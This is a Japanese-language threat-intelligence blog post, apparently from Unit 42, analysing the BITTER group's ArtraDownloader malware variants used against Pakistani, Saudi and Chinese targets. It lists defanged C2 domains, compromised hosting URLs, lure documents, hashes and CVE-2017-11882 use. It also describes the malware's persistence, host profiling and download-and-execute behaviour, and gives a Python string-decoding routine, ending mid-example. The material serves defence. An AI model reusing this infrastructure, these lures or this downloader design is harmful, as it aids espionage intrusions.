{"id":101221,"date":"2019-02-25T12:00:16","date_gmt":"2019-02-25T20:00:16","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=101221\/"},"modified":"2019-11-25T02:29:00","modified_gmt":"2019-11-25T10:29:00","slug":"multiple-artradownloader-variants-used-by-bitter-to-target-pakistan","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan\/","title":{"rendered":"BITTER: \u8907\u6570\u306eArtraDownloader\u306e\u4e9c\u7a2e\u3092\u4f7f\u3046\u653b\u6483\u3001\u30d1\u30ad\u30b9\u30bf\u30f3\u304c\u6a19\u7684\u306b"},"content":{"rendered":"<h2>\u6982\u8981<\/h2>\n<p>\u5c11\u306a\u304f\u3068\u30822015\u5e74\u4ee5\u6765\u3001 <a href=\"https:\/\/ti.360.net\/blog\/articles\/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english\/\">\u304a\u305d\u3089\u304f\u306f\u5357\u30a2\u30b8\u30a2\u3092\u62e0\u70b9\u3068\u3057\u3066\u3044\u308b\u8105\u5a01\u653b\u6483\u30b0\u30eb\u30fc\u30d7<\/a>BITTER\u306f\u3001\u3053\u308c\u307e\u3067\u5831\u544a\u3055\u308c\u3066\u3044\u306a\u3044\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u306e\u4e9c\u7a2e\u3092\u4f7f\u7528\u3057\u3066\u30d1\u30ad\u30b9\u30bf\u30f3\u3068\u4e2d\u56fd\u306e\u7d44\u7e54\u3092\u6a19\u7684\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u8105\u5a01\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u8abf\u67fb\u30c1\u30fc\u30e0Unit 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href=\"https:\/\/www.forcepoint.com\/blog\/security-labs\/bitter-targeted-attack-against-pakistan\">BITTER<\/a>\u8105\u5a01\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306e\u6d3b\u52d5\u306b\u95a2\u9023\u3057\u3066\u3044\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n<p>\u3042\u308b\u3042\u308b2018\u5e749\u6708\u306e\u958b\u59cb\u4ee5\u964d2019\u5e74\u521d\u982d\u306b\u304b\u3051\u3066BITTER\u306f\u30d1\u30ad\u30b9\u30bf\u30f3\u3068\u30b5\u30a6\u30b8\u30a2\u30e9\u30d3\u30a2\u3092\u6a19\u7684\u306b\u7d99\u7d9a\u7684\u306a\u6ce2\u72b6\u653b\u6483\u3092\u4ed5\u639b\u3051\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u30b5\u30a6\u30b8\u30a2\u30e9\u30d3\u30a2\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u3057\u305fBITTER\u306e\u6700\u521d\u306e\u5831\u544a\u4f8b\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u653b\u6483\u3068\u3001\u89b3\u6e2c\u3055\u308c\u305f3\u3064\u306eArtraDownloader\u306e\u4e9c\u7a2e\u306b\u95a2\u3059\u308b\u8a73\u7d30\u306f\u3001\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<h2>\u6d3b\u52d5\u5185\u5bb9<\/h2>\n<p>2018\u5e749\u6708\u4e2d\u65ec\u304b\u30892019\u5e741\u6708\u306b\u304b\u3051\u3066 Unit 42\u306f\u3001\u30d1\u30ad\u30b9\u30bf\u30f3\u3068\u30b5\u30a6\u30b8\u30a2\u30e9\u30d3\u30a2\u306e\u7d44\u7e54\u3092\u6a19\u7684\u3068\u3057\u3066ArtraDownloader\u304c\u4f7f\u308f\u308c\u305f\u69d8\u5b50\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002\u95a2\u9023\u3057\u3066\u60aa\u610f\u306e\u3042\u308b\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u304c\u8907\u6570\u7279\u5b9a\u3055\u308c\u3066\u3044\u307e\u3059\u304c\u3001\u3053\u308c\u3089\u306f\u3059\u3079\u3066\u3001\u4fb5\u5bb3\u3055\u308c\u305f\u53ef\u80fd\u6027\u306e\u9ad8\u3044\u6b63\u898f\u306e\u30d1\u30ad\u30b9\u30bf\u30f3\u306eWeb\u30b5\u30a4\u30c8\u3068\u901a\u4fe1\u3057\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u53d6\u5f97\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u306b\u306f\u3001\u30d1\u30ad\u30b9\u30bf\u30f3\u653f\u5e9c\u305d\u306e\u307b\u304b\u306e\u30d1\u30ad\u30b9\u30bf\u30f3\u95a2\u9023\u7d44\u7e54\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>2018\u5e749\u670812\u65e5\u4ee5\u964d\u3001https:\/\/wforc[.]pk\/js\/ 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Report.doc.exe<\/li>\n<\/ul>\n<p>\u304a\u305d\u3089\u304f\u306f\u30b9\u30d4\u30a2\u30fc\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u3067\u3001\u30b5\u30a6\u30b8\u30a2\u30e9\u30d3\u30a2\u306e\u3042\u308b\u96fb\u529b\u4f1a\u793e\u306e\u5f93\u696d\u54e1\u3092\u72d9\u3063\u305f\u3082\u306e\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u3053\u306e\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u306fC2\u5148\u3068\u3057\u3066nethosttalk[.]com\u3068\u901a\u4fe1\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>\u540c\u3058\u6642\u671f\u306b\u3001\u30d1\u30ad\u30b9\u30bf\u30f3\u306e\u5225\u306eWeb\u30b5\u30a4\u30c8\u30672\u3064\u306e\u8ffd\u52a0\u30d5\u30a1\u30a4\u30eb(\u4e0b\u8a18\u306b\u30ea\u30b9\u30c8)\u304c\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u69d8\u5b50\u304c\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u5b9f\u884c\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u4ee5\u4e0b\u306e\u540d\u524d\u3067 khurram.com[.]pk\/js\/drvn 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Nations)\u3068\u3044\u3046\u306e\u306f\u30012018\u5e7411\u67088\u65e5\u301c11\u65e5\u306b\u958b\u50ac\u3055\u308c\u305f\u7d44\u7e54\u7684\u30a4\u30d9\u30f3\u30c8\u3067\u3001\u4eba\u6a29\u554f\u984c\u3084\u7d4c\u6e08\u767a\u5c55\u554f\u984c\u306a\u3069\u3067\u306e\u5354\u529b\u3084\u6d1e\u5bdf\u3092\u4fc3\u9032\u3059\u308b\u3053\u3068\u3092\u76ee\u7684\u3068\u3057\u3066\u3044\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n<p>2018\u5e7411\u6708\u304b\u30892019\u5e741\u6708\u306b\u304b\u3051\u3001\u30d1\u30ad\u30b9\u30bf\u30f3\u306e\u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u30fb\u6cb9\u5727\u95a2\u9023\u4f1a\u793ealmasoodgroup[.]com\u306f\u30012\u3064\u306eAtraDownloader\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3068\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u914d\u4fe1\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u308b\u60aa\u610f\u306e\u3042\u308b\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u30db\u30b9\u30c8\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u305d\u306e\u30d5\u30a1\u30a4\u30eb\u306e1\u3064\u3001Port Details.doc\u306f\u3001EQNEDT\u306e\u8106\u5f31\u6027<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2017-11882\">CVE-2017-11882<\/a>\u3092\u60aa\u7528\u3059\u308b\u3088\u3046\u306b\u7d30\u5de5\u3055\u308c\u305fRTF\u6587\u66f8\u3067\u3059\u3002\u3053\u306eRTF\u6587\u66f8\u304c\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u307e\u3059\u304c\u3001\u3053\u306e\u3055\u3044\u3082\u30c9\u30e1\u30a4\u30f3hewle.kielsoservice[.]net\u3068\u901a\u4fe1\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u4f1a\u793e\u306e\u30c9\u30e1\u30a4\u30f3\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u307b\u304b\u306e2\u3064\u306e\u30d5\u30a1\u30a4\u30eb\u306f\u3001C2\u30c9\u30e1\u30a4\u30f3xiovo426[.]net\u3068\u901a\u4fe1\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>1\u670819\u65e5\u306barticle_amy.doc\u3068\u3044\u3046\u30d5\u30a1\u30a4\u30eb\u3082VirusTotal\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306falmasoodgroup[.]com\/js\/cwqj\u306b\u30db\u30b9\u30c8\u3055\u308c\u3001C2\u30c9\u30e1\u30a4\u30f3thepandaservices.nsiagenthoster[.]net\u3068\u901a\u4fe1\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u4f8b\u3067\u30c9\u30e1\u30a4\u30f3almasoodgroup[.]com\u306f\u3001\u4fb5\u5bb3\u3055\u308c\u305f\u6b63\u898f\u306e\u30b5\u30a4\u30c8\u306e\u3088\u3046\u306b\u898b\u3048\u307e\u3059\u3002<\/p>\n<p>2018\u5e7412\u670817\u65e5\u306818\u65e5\u306b\u306f\u3001\u4e00\u4eba\u306e\u30e6\u30fc\u30b6\u30fc\u304ccocktail and the dinner in the last week of dec.doc\u3068\u3044\u3046\u6587\u66f8\u306b\u30a2\u30af\u30bb\u30b9\u3057\u305f\u5f8c\u3001\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u304chttp:\/\/fst.gov[.]pk\/images\/winsvc\uff08SHA256: ef0cb0a1\u2026\uff09\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u30e6\u30fc\u30b6\u30fc\u304c\u3069\u306e\u3088\u3046\u306b\u3057\u3066\u3053\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u5b9f\u884c\u3059\u308b\u3088\u3046\u306b\u8a98\u5c0e\u3055\u308c\u305f\u304b\u306f\u4e0d\u660e\u3067\u3059\u3002\u3053\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001CVE-2017-11882(EQNEDT)\u3092\u60aa\u7528\u3059\u308bArtraDownloader\u306e\u4e9c\u7a2e1\u3067\u3059\u3002\u3053\u306e\u4f8b\u3067\u3053\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306fhewle.kielsoservice[.]net\/Engset.php\u306eC2\u30c9\u30e1\u30a4\u30f3\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u69d8\u5b50\u304c\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<h3>\u4e9c\u7a2e\u306e\u6bd4\u8f03<\/h3>\n<p>\u5408\u8a08\u3067\u3001ArtraDownloader\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u306b\u5c5e\u3059\u308b\u304a\u3088\u305d80\u500b\u306e\u30e6\u30cb\u30fc\u30af\u306a\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u304c\u767a\u898b\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30b5\u30f3\u30d7\u30eb\u306b\u306f\u3001\u306f\u3063\u304d\u308a\u3068\u7570\u306a\u308b\u4e9c\u7a2e\u304c3\u7a2e\u985e\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u3046\u3057\u305f\u4e9c\u7a2e\u9593\u306e\u76f8\u9055\u306f\u3001\u3068\u304f\u306b\u305d\u308c\u304c\u6587\u5b57\u5217\u306e\u96e3\u8aad\u5316\u3084HTTP\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u95a2\u9023\u3057\u305f\u3082\u306e\u3067\u3042\u308c\u3070\u3001\u4e00\u822c\u306b\u5c0f\u3055\u306a\u3082\u306e\u306b\u306a\u308b\u50be\u5411\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>ArtraDownloader\u306b\u5c5e\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u305f\u6700\u3082\u521d\u671f\u306e\u30b5\u30f3\u30d7\u30eb\u306e\u30b3\u30f3\u30d1\u30a4\u30eb\u30bf\u30a4\u30e0\u30b9\u30bf\u30f3\u30d7\u306f2015\u5e742\u6708\u3067\u3057\u305f\u3002\u3053\u3053\u304b\u3089\u3001\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u304c\u4f5c\u3089\u308c\u3066\u304b\u3089\u304a\u304a\u3088\u305d\u3069\u306e\u304f\u3089\u3044\u7d4c\u904e\u3057\u3066\u3044\u308b\u304b\u304c\u5206\u304b\u308a\u307e\u3059\u3002<\/p>\n<p>\u4eca\u306e\u3068\u3053\u308dUnit 42\u306f\u3001\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u304c\u3001BITTER\u306b\u95a2\u9023\u3059\u308bRAT\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30fb\u5b9f\u884c\u3059\u308b\u69d8\u5b50\u306e\u307f\u3092\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3059\u3002\u8b58\u5225\u3055\u308c\u305f\u5404\u30b5\u30f3\u30d7\u30eb\u304c\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305f\u6642\u671f\u306b\u95a2\u3059\u308b\u5185\u8a33\u306f\u3001\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_101150\" aria-describedby=\"caption-attachment-101150\" style=\"width: 1024px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101150 size-large lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-4-1024x256.jpeg\" alt=\"\u56f31 \u30b3\u30f3\u30d1\u30a4\u30eb\u30bf\u30a4\u30e0\u30b9\u30bf\u30f3\u30d7\u306b\u57fa\u3065\u304fArtraDownloader\u4e9c\u7a2e\u306e\u30bf\u30a4\u30e0\u30e9\u30a4\u30f3\" width=\"1024\" height=\"256\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-4-1024x256.jpeg 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-4-300x75.jpeg 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-4-768x192.jpeg 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-4-900x225.jpeg 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-4-370x93.jpeg 370w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-4.jpeg 1430w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption id=\"caption-attachment-101150\" class=\"wp-caption-text\">\u56f31 \u30b3\u30f3\u30d1\u30a4\u30eb\u30bf\u30a4\u30e0\u30b9\u30bf\u30f3\u30d7\u306b\u57fa\u3065\u304fArtraDownloader\u4e9c\u7a2e\u306e\u30bf\u30a4\u30e0\u30e9\u30a4\u30f3<\/figcaption><\/figure>\n<p>\u5168\u4f53\u7684\u306b\u898b\u3066\u3001ArtraDownloader\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u30fc\u306f\u6d17\u7df4\u3055\u308c\u305f\u3082\u306e\u3067\u306f\u306a\u304f\u3001\u6c38\u7d9a\u5316\u306e\u305f\u3081\u306e\u5358\u7d14\u306a\u30ec\u30b8\u30b9\u30c8\u30ea\u30ad\u30fc\u3068\u3001\u30ea\u30e2\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3059\u308b\u305f\u3081\u306eHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u5229\u7528\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30b5\u30f3\u30d7\u30eb\u5185\u306e\u91cd\u8981\u306a\u6587\u5b57\u5217\u306f\u3001\u6587\u5b57\u5217\u5185\u306e\u5404\u30d0\u30a4\u30c8\u304b\u3089\u52a0\u7b97\u307e\u305f\u306f\u6e1b\u7b97\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u96e3\u8aad\u5316\u3055\u308c\u307e\u3059\u3002HTTP\u3092\u4ecb\u3057\u3066\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u3068\u304d\u306b\u3082\u3001\u3053\u306e\u540c\u3058\u96e3\u8aad\u5316\u30eb\u30fc\u30c1\u30f3\u304c\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u8208\u5473\u6df1\u3044\u3053\u3068\u306b\u3001\u4eca\u56de\u306e\u5206\u6790\u4e2d\u3001\u4ee5\u524d\u5206\u6790\u3057\u305f\u30da\u30a4\u30ed\u30fc\u30c9\u5185\u3067\u898b\u305f\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u304c\u91cd\u8907\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u69d8\u5b50\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-recent-inpage-exploits-lead-multiple-malware-families\/\">2017\u5e7411\u6708<\/a>\u306b\u79c1\u305f\u3061\u306f\u3042\u308b\u60aa\u8cea\u306a\u6587\u66f8\u306b\u3064\u3044\u3066\u5831\u544a\u3057\u305f\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u304c\u3001\u3053\u306e\u6587\u66f8\u306f\u30c9\u30e1\u30a4\u30f3zmwardrobe[.]com\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u3001\u305d\u306e\u5f8cMY24\u3068\u547c\u3070\u308c\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3082\u306e\u3067\u3057\u305f\u3002\u3053\u306e\u6d3b\u52d5\u306f2017\u5e749\u6708\u304b\u308910\u6708\u306b\u304b\u3051\u3066\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u30022017\u5e7411\u6708\u306b\u3001ArtraDownloader\u304c\u540c\u3058\u30c9\u30e1\u30a4\u30f3\u306b\u5bfe\u3057\u3066\u30af\u30a8\u30ea\u3092\u5b9f\u884c\u3059\u308b\u306e\u3092\u521d\u3081\u3066\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306f2018\u5e742\u6708\u307e\u3067\u7d9a\u304d\u307e\u3057\u305f\u3002\u4e21\u65b9\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3068\u3082\u306bInPage\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3067\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>\u767a\u898b\u3055\u308c\u305f\u4e9c\u7a2e\u3068\u305d\u308c\u305e\u308c\u306e\u8a73\u7d30\u306a\u5206\u6790\u306e\u8a73\u7d30\u306b\u3064\u3044\u3066\u306f\u3001\u5f8c\u8ff0\u306e\u4ed8\u9332\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<h2>\u7d50\u8ad6<\/h2>\n<p>\u4e00\u822c\u7684\u306bBITTER\u3068\u547c\u3070\u308c\u3066\u3044\u308b\u8105\u5a01\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306f\u3001\u672c\u7a3f\u57f7\u7b46\u6642\u70b9\u307e\u3067\u4e16\u754c\u4e2d\u306e\u3055\u307e\u3056\u307e\u306a\u5730\u57df\u306b\u5bfe\u3057\u3066\u7d99\u7d9a\u7684\u306b\u6d3b\u52d5\u4e2d\u3067\u3059\u3002\u5f7c\u3089\u306fArtraDownloader\u3068\u3044\u3046\u540d\u524d\u306e\u30ab\u30b9\u30bf\u30de\u30a4\u30ba\u3055\u308c\u305f\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3092\u4f7f\u7528\u3057\u3001\u30d1\u30ad\u30b9\u30bf\u30f3\u3001\u4e2d\u56fd\u3001\u30b5\u30a6\u30b8\u30a2\u30e9\u30d3\u30a2\u3092\u6a19\u7684\u306b\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u306f\u3001\u72ec\u81ea\u306e\u30ab\u30b9\u30bf\u30e0\u96e3\u8aad\u5316\u30eb\u30fc\u30c1\u30f3\u3092\u5229\u7528\u3057\u3001HTTP\u7d4c\u7531\u3067BitterRAT\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u30fc\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30fb\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ad\u30b9\u30bf\u30f3\u653f\u5e9c\u3001\u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u4f1a\u793e\u3001\u96fb\u529b\u4f1a\u793e\u306a\u3069\u306e\u8907\u6570\u306e\u7d44\u7e54\u304c\u3001\u4fb5\u5bb3\u306e\u5f71\u97ff\u3092\u53d7\u3051\u305f\u304b\u3001BITTER\u304c\u4f7f\u7528\u3059\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u30db\u30b9\u30c8\u3057\u3066\u3044\u305f\u3053\u3068\u304c\u5224\u660e\u3057\u3066\u3044\u307e\u3059\u3002\u79c1\u305f\u3061\u306f\u4eca\u5f8c\u3082\u3053\u306e\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306e\u76e3\u8996\u3092\u7d99\u7d9a\u3057\u307e\u3059\u3002\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u6b21\u306e\u65b9\u6cd5\u3067\u3053\u306e\u8105\u5a01\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u3059\u3079\u3066\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3001WildFire\u3067\u60aa\u610f\u306e\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u9069\u5207\u306b\u5206\u985e\u3055\u308c\u307e\u3059<\/li>\n<li>\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u901a\u4fe1\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u30c9\u30e1\u30a4\u30f3\u304a\u3088\u3073\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u30db\u30b9\u30c8\u3057\u3066\u3044\u308bURL\u306f\u300cMalicious(\u60aa\u610f\u306e\u3042\u308b)\u300d\u3068\u3044\u3046\u30d5\u30e9\u30b0\u304c\u4ed8\u3051\u3089\u308c\u307e\u3059<\/li>\n<li>AutoFocus\u3092\u304a\u4f7f\u3044\u306e\u304a\u5ba2\u69d8\u306f\u3001BITTER\u3001BITTERRAT\u3001ArtraDownloader\u30bf\u30b0\u3092\u5229\u7528\u3057\u3066\u3053\u306e\u8105\u5a01\u3092\u7d99\u7d9a\u7684\u306b\u8ffd\u8de1\u3067\u304d\u307e\u3059<\/li>\n<\/ul>\n<h2>\u4ed8\u9332<\/h2>\n<h3>ArtraDownloader\u30de\u30eb\u30a6\u30a7\u30a2\u89e3\u6790 - \u4e9c\u7a2e1<\/h3>\n<p>\u3053\u306e\u5206\u6790\u306e\u6b8b\u308a\u306e\u90e8\u5206\u3067\u306f\u3001\u6b21\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>MD5<\/strong><\/td>\n<td>7cc0b212d1b8ceb808c250495d83bae4<\/td>\n<\/tr>\n<tr>\n<td><strong>SHA1<\/strong><\/td>\n<td>d2c161ce52240b61d632607a2262890327d82502<\/td>\n<\/tr>\n<tr>\n<td><strong>SHA256<\/strong><\/td>\n<td>ef0cb0a1a29bcdf2b36622f72734aec8d38326fc8f7270f78bd956e706a5fd57<\/td>\n<\/tr>\n<tr>\n<td><strong>\u30b3\u30f3\u30d1\u30a4\u30eb\u30bf\u30a4\u30e0\u30b9\u30bf\u30f3\u30d7<\/strong><\/td>\n<td>2018-12-06 11:14:45 UTC<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"font-size: 10pt;\">\u88681 ArtraDownloader\u4e9c\u7a2e1\u306e\u30b5\u30f3\u30d7\u30eb<\/span><\/p>\n<p>\u5b9f\u884c\u3059\u308b\u3068\u3001\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u6b21\u306e\u30d7\u30ed\u30d1\u30c6\u30a3\u3092\u6301\u3064\u65b0\u3057\u3044Window\u30af\u30e9\u30b9\u3092\u4f5c\u6210\u3057\u3066\u767b\u9332\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">Window Name: seal<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Class Name: SEAL<\/span><\/p>\n<p>\u3053\u306e\u65b0\u3057\u304f\u4f5c\u6210\u3055\u308c\u305fWindow\u30af\u30e9\u30b9\u3067WM_CREATE\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u53d7\u4fe1\u3059\u308b\u3068\u3001SetTimer()\u547c\u3073\u51fa\u3057\u3092\u4ecb\u3057\u306620\u79d2\u5f8c\u306b\u65b0\u3057\u3044\u95a2\u6570\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u95a2\u6570\u306f\u3001\u5b9f\u969b\u306b\u30ea\u30e2\u30fc\u30c8\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3059\u308b\u5f79\u5272\u3092\u679c\u305f\u3057\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u5b9f\u884c\u304c\u7d42\u4e86\u3057\u305f\u6bb5\u968e\u3067\u306f\u3058\u3081\u3066\u547c\u3073\u51fa\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>ArtraDownloader\u306f\u3001\u3064\u3065\u3044\u3066\u88ab\u5bb3\u8005\u306ePC\u304b\u3089\u4ee5\u4e0b\u306e\u60c5\u5831\u3092\u53ce\u96c6\u3057\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u540d<\/li>\n<li>\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0<\/li>\n<li>\u30e6\u30fc\u30b6\u30fc\u540d<\/li>\n<\/ul>\n<p>\u30de\u30eb\u30a6\u30a7\u30a2\u5b9f\u884c\u306f\u5168\u904e\u7a0b\u306b\u308f\u305f\u308a\u3001\u691c\u51fa\u907f\u3051\u306e\u305f\u3081\u306b\u3055\u307e\u3056\u307e\u306a\u6587\u5b57\u5217\u304c\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u6587\u5b57\u5217\u3092\u30c7\u30b3\u30fc\u30c9\u3059\u308b\u305f\u3081\u306b\u6b21\u306ePython\u30b3\u30fc\u30c9\u3092\u5229\u7528\u3067\u304d\u307e\u3059\u3002<\/p>\n<pre class=\"\">def decode(data):\r\n    out = \"\"\r\n    for d in data:\r\n       out += chr(ord(d)-1)\r\n    return out<\/pre>\n<p>\u4f8b:<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&gt;&gt; print(decode(\"ifxmf\/ljfmtptfswjdf\/ofu\"))<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">&gt;&gt; 